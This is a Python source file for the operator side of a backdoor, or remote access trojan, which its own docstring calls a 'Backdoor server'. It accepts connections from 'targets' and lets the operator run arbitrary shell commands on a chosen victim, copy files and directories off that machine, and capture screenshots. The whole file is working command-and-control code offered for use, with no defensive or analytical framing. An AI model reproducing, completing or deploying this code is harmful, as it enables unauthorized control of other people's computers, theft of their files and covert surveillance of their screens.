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server.py
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server.py
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import socket
import threading
import json
import os
from dataclasses import dataclass
from scripts.output_color import colored_error, colored_info, colored_success
from scripts.splitter import check_and_split_command
from base import PORT, DISCONNECT_MESSAGE, ENCODING
from base import run_shell_command, change_dir, send_header_and_data, recv_header_and_data
@dataclass
class Client:
"""Client object model. (targets)
"""
addr: tuple
sock: socket.socket
name: str = ''
class Server:
"""Backdoor server class.
Args:
addr (tuple): Address of the server. (IP, PORT)
sock (socket.socket): Socket of the server.
"""
def __init__(self, addr: tuple, sock: socket.socket):
self.addr = addr
self.sock = sock
self.clients: list = []
def accept_clients(self) -> None:
"""Listen for incoming clients and add client to clients server list.
"""
while True:
try:
client_socket, client_address = self.sock.accept()
client = Client(addr=client_address, sock=client_socket)
self.clients.append(client)
except OSError:
break
def get_client_by_number(self, num: int):
try:
client = self.clients[num]
except IndexError:
raise IndexError(colored_error('[Client Number Error]') +
' Enter a valid client number.')
else:
return client
def accept_commands(self):
"""Listen for user commands.
"""
while True:
try:
command = input(colored_success('╭─ ') +
colored_info(f'[{self.addr[0]}:{self.addr[1]}]') +
colored_success(f'[{len(self.clients)} Clients]') +
colored_success('\n╰─ ❯ '))
try:
splitted_command = check_and_split_command(command)
except IndexError as err:
print(err)
continue
if splitted_command[0] == DISCONNECT_MESSAGE:
break
if splitted_command[0] == 'cd':
if len(splitted_command) == 2:
print(change_dir(splitted_command[-1]))
else:
print(colored_error('[Argument Error]') + 'cd command need one parameter.')
elif splitted_command[0] == 'clients':
if len(splitted_command) == 2 and splitted_command[1] == 'show':
for num, client in enumerate(self.clients):
print(colored_info(f'{num} - ') + f'{client.addr}')
elif len(splitted_command) == 3 and splitted_command[1] == 'connect':
try:
num = int(splitted_command[-1])
except ValueError:
print(colored_error('[Client Number Error]'))
else:
try:
client = self.get_client_by_number(num)
except IndexError as err:
print(err)
else:
self.connect_to_client(client)
elif len(splitted_command) == 3 and splitted_command[1] == 'disconnect':
try:
num = int(splitted_command[-1])
except ValueError:
print(colored_error('[Client Number Error]'))
else:
try:
client = self.get_client_by_number(num)
except IndexError as err:
print(err)
else:
self.send_command_without_output(client, DISCONNECT_MESSAGE)
self.clients.remove(client)
else:
print(run_shell_command(command))
except KeyboardInterrupt:
break
confirm = input('\nDo you want to stop the server? [y/n]: ')
if 'y' not in confirm.lower():
self.accept_commands()
else:
self.disconnect_all_clients()
self.sock.close()
print(colored_error('[Server down] 👻👋'))
def connect_to_client(self, client: Client) -> None:
"""Connect to a specified client and send command to this client.
Args:
client (Client): client object.
"""
while True:
try:
# Get client current working directory and make command prompt with.
cwd = self.send_command(client, 'info').decode(encoding=ENCODING)
prompt = ('╭─' + colored_info(f' {client.addr[0]}:{client.addr[1]}') +
f' {cwd}' + '\n╰─' + colored_info(' ❯ '))
command = ''
while command == '':
# Ask for a command to send
command = input(prompt)
receive_output = True
try:
splitted_command = check_and_split_command(command)
except IndexError as err:
print(err)
continue
if splitted_command[0] == DISCONNECT_MESSAGE:
break
if splitted_command[0] == 'bg':
receive_output = False
splitted_command = splitted_command[1:]
if splitted_command[0] == 'download':
if len(splitted_command) == 3:
self.download(client, splitted_command[-2], splitted_command[-1])
elif len(splitted_command) == 2:
self.download(client, splitted_command[-1], splitted_command[-1])
elif len(splitted_command) < 2:
print(colored_error('[Parameter Error]') +
'download command need one or two arguments.')
else:
print(colored_error('[Parameter Error]') +
'download command accept two arguments maximum.')
elif splitted_command[0] == 'capture':
if len(splitted_command) == 2:
self.screenshot(client, splitted_command[1])
else:
print(colored_error('[Parameter Error]') +
'capture command need one argument.')
else:
if receive_output:
output = self.send_command(client, command).decode(encoding=ENCODING)
print(output)
else:
self.send_command_without_output(client, command)
except KeyboardInterrupt:
continue
def disconnect_all_clients(self) -> None:
"""Disconnect all clients connected to the server.
"""
for client in self.clients:
send_header_and_data(client.sock, DISCONNECT_MESSAGE.encode(encoding=ENCODING))
@staticmethod
def send_command(client: Client, command: str, *args, show_progress=False) -> bytes:
"""Send command with arguments to specified client socket.
Args:
client (str): client that will receive the command.
command (str): command to send.
*args (tuple, optional): command parameters.
show_progress (bool, optional): Show progressbar if True. Defaults to False.
Returns:
bytes: output of command
"""
desc = None
if command == 'download':
file_name = args[-1].split("/")[-1].split("\\")[-1]
desc = f'Receiving {file_name}'
final_command = " ".join([command] + list(args))
send_header_and_data(client.sock, final_command.encode(encoding=ENCODING))
return recv_header_and_data(client.sock, desc=desc, show_progress=show_progress)
@staticmethod
def send_command_without_output(client: Client, command: str, *args) -> None:
"""Send command to the specified client but doesn't wait for output.
Args:
client (str): client that will receive the command.
command (str): command to send.
*args (tuple, optional): command parameters.
"""
final_command = " ".join([command] + list(args))
send_header_and_data(client.sock, final_command.encode(encoding=ENCODING))
def check_path_type(self, client: Client, path: str) -> str:
"""Check if the path on client is a directory or a file.
Args:
client (Client): client object.
path (str): path to check on client.
Returns:
str: 'directory' or 'file'.
"""
return self.send_command(client, 'path-type', f'"{path}"').decode(encoding=ENCODING)
def check_path_exists(self, client: Client, path: str) -> bool:
"""Check if the path exists on client.
Args:
client (Client): client object.
path (str): path to check on client.
Returns:
bool: True if exist else False.
"""
result = self.send_command(client, 'path-exists', f'"{path}"').decode(encoding=ENCODING)
return json.loads(result)
def check_path_permission(self, client: Client, path: str) -> bool:
"""Check if the client has permission to read path.
Args:
client (Client): client object.
path (str): path to check on client.
Returns:
bool: True if the client has permission else False.
"""
result = self.send_command(client, 'has-permission', f'"{path}"').decode(encoding=ENCODING)
return json.loads(result)
def list_dir_content(self, client: Client, path: str) -> list:
"""List the content of directory on client path.
Args:
client (Client): client object.
path (str): path of directory.
Returns:
list: list of all contents
"""
result = self.send_command(client, 'list-content', f'"{path}"').decode(encoding=ENCODING)
return json.loads(result)
def download_file(self, client: Client, path: str, destination: str) -> None:
"""Download file from client to server machine.
Args:
client (Client): client object.
path (str): file path on server.
destination (str): server destination path.
"""
print('Download ' + colored_info(path))
output = self.send_command(client, 'download', f'"{path}"', show_progress=True)
# Write file to the destination.
with open(destination, 'wb') as f:
f.write(output)
def download(self, client: Client, path: str, destination: str) -> None:
"""Download file or folder on client.
Args:
client (Client): client object.
path (str): path of file or folder.
destination (str): client destination path.
"""
# Check that the given path exists on client machine.
if self.check_path_exists(client, path):
if os.path.exists(destination):
# Check if destination already exist on server machine.
# Ask for new destination if already exists.
print(colored_error('[Duplicated file error]'
f' Destination "{destination}" already exists.'))
new_destination = input('New destination: ' + colored_info(': '))
return self.download(client, path, new_destination)
if self.check_path_permission(client, path):
# Check if path on client is directory or file.
path_type = self.check_path_type(client, path)
if path_type == 'file':
# Download the file if path type is file.
self.download_file(client, path, destination)
elif path_type == 'directory':
# If directory, create folder on server machine, get content of directory
# and download each file and directory inside the directory.
os.mkdir(destination)
os.chdir(destination)
dir_contents = self.list_dir_content(client, path)
print('\n' + colored_success('Start Downloading ') + colored_info(path) + 'directory.\n')
for file in dir_contents:
file_path = os.path.join(path, file)
self.download(client, file_path, file)
os.chdir('..')
print('\n' + colored_success('Finish Downloading ') + colored_info(path) + 'directory.\n')
else:
print(colored_error(f'[Permission Error] for path "{path}".'))
else:
print(colored_error(f"[File Not Found Error] {path} doesn't exists."))
def screenshot(self, client, destination: str) -> None:
"""Receive a client screenshot.
Args:
client (Client): client object.
destination (str): destination path.
"""
output = self.send_command(client, 'capture', show_progress=True)
if output == 'screenshot-error'.encode(encoding=ENCODING):
# Error for screenshot command
print(colored_error("[Screenshot Error]") + "Can't take a screenshot.")
else:
# Write the binary file on server machine
with open(destination, 'wb') as f:
f.write(output)
def run(self) -> None:
"""Run the server.
"""
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, socket.SOCK_STREAM)
self.sock.bind(self.addr)
self.sock.listen()
print(colored_success('\n[Server start]') + ' at ' +
colored_info(f'[{self.addr[0]}:{self.addr[1]}]') + ' 📡\n')
thread = threading.Thread(target=self.accept_clients)
thread.start()
self.accept_commands()
if __name__ == '__main__':
while True:
ip_list = socket.getaddrinfo(socket.gethostname(), PORT, family=socket.AF_INET)
print(colored_info('[IP List]') + ' List of IP address\n')
for i, ip in enumerate(ip_list):
print(colored_info(f'{i + 1}') + f' - {ip[-1]}')
print('\nIn which address would you like to run the server?')
try:
server_index = int(input(colored_info('[IP Choice]: ')))
server_address = ip_list[server_index - 1][-1]
except (ValueError, IndexError):
print(colored_error('\n[Choice Error] ' +
f'Chose between {[i + 1 for i in range(len(ip_list))]}'))
except KeyboardInterrupt:
print(colored_error('Exit'))
break
else:
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = Server(server_address, server_socket)
server.run()
break